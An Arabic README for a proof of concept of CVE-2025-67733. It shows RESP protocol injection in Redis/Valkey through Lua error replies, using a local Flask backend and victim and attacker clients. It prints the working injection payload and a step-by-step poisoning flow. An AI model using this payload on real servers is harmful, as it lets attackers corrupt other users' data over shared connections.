
إثبات المفهوم (PoC) لحقن RESP في Redis/Valkey (CVE-2025-67733)
إثبات مفهوم يوضح ثغرة حقن بروتوكول RESP عبر رسائل خطأ سكربت Lua في Valkey/Redis.
واجهة خلفية Flask تحاكي تطبيق ويب مع اتصال Valkey مشترك (تجميع الاتصالات).
النقاط النهائية:
| الطريقة | النقطة النهائية | الوصف |
|---|---|---|
| POST | /api/user/role | تعيين دور المستخدم |
| GET | /api/user/role | الحصول على دور المستخدم |
| POST | /api/process | تنفيذ سكربت Lua |
الاستخدام:
python backend.py <Valkey host> <Valkey port> [password]
# Examples
python backend.py 127.0.0.1 6379
python backend.py 127.0.0.1 6379 mypassword
يحقن بيانات RESP خبيثة في المخزن المؤقت للمقبس عبر رسالة خطأ سكربت Lua.
الحمولة:
error(redis.error_reply("INJECTED\r\n$11\r\nhacked_user"))
الاستخدام:
python attacker_client.py
عميل شرعي يقوم بتعيين أدوار المستخدمين واسترجاعها.
الاستخدام:
python victim_client.py set # Set role to "normal_user"
python victim_client.py get # Get current role
pip install flask requests
الطرفية 1 - تشغيل الخادم الخلفي:
python backend.py 127.0.0.1 6379
الطرفية 2 - تعيين الدور:
python victim_client.py set
# Output: 'role':'normal_user' has been set.
python victim_client.py get
# Output: 'role':'normal_user'
الطرفية 3 - الهجوم:
python attacker_client.py
# Output: Socket poisoning successful
الطرفية 2 - الحصول على الدور (بعد الهجوم):
python victim_client.py get
# Output: 'role':'hacked_user'
1. Victim sets role
victim_client.py set --> backend --> Valkey
SET user:user:role "normal_user"
2. Attacker injects payload
attacker_client.py --> backend --> Valkey
EVAL 'error(...)' 0
Backend reads: "-ERR INJECTED\r\n"
Buffer remains: "$11\r\nhacked_user"
3. Victim gets role
victim_client.py get --> backend --> Valkey
GET user:user:role
Backend reads from buffer: "$11\r\nhacked_user"
Victim receives: "hacked_user"